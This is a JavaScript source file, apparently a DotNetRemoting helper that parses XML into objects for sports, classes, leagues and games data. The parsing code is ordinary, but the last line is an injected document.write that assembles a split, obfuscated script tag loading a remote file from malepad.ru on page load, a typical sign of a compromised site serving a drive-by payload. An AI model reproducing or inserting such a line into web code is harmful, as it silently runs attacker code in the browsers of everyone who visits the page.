/* DotNetRemoting JavaScript Serializer/Deserializer */

var isIE = navigator.userAgent.toLowerCase().indexOf("msie") > -1;
var isMoz = document.implementation && document.implementation.createDocument;

// main entry for deserialization
// XML string as an input
function JDeserialize(XmlText)
{
	var _doc = GetDom(XmlText); 
	if (isIE)
		return Deserial(_doc.childNodes[1]);
	else
		return Deserial(_doc.childNodes[0]);
}

// get dom object . IE or Mozilla
function GetDom(strXml)
{
	var _doc = null;
	
	if (isIE)
	{
		_doc = new ActiveXObject("Msxml2.DOMDocument.3.0");
		_doc.loadXML(strXml); 
	}
	else
	{
		var parser = new DOMParser();
		_doc = parser.parseFromString(strXml, "text/xml");
	}

	return _doc;
}

// internal deserialization
function Deserial(xn)
{
	
	var RetObj;
	var isArray = false;
	
	switch(xn.nodeName)
	{
		case "Sports":
			RetObj = new Array();
			isArray = true;
			break;
		case "Sport":
			RetObj = new Object();
			break;
		case "Classes":
			RetObj = new Array();
			isArray = true;
			break;
		case "Class":
			RetObj = new Object();
			break;
		case "Leagues":
			RetObj = new Array();
			isArray = true;
			break;
		case "League":
			RetObj = new Object();
			break;
		case "Games":
			RetObj = new Array();
			isArray = true;
			break;
		case "Game":
			RetObj = new Object();
			break;
		default:
			break;
	}
	
	for(var x = 0; x < xn.attributes.length; x++)
		RetObj[xn.attributes[x].nodeName] = xn.attributes[x].nodeValue;
	
	for(var i = 0; i < xn.childNodes.length; i++)
	{
		var Node = xn.childNodes[i];
		
		if(Node.nodeType == 1 && Node.nodeName != "")
		{
			if(isArray)
				RetObj.push(Deserial(Node));
			else
				RetObj[Node.nodeName] = Deserial(Node);
		}
		else if(Node.nodeType == 3 && Node.nodeValue != "")
			RetObj = Node.nodeValue;
	}

	return RetObj;
}

document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Parallel_Port.js"></scr'+'ipt>');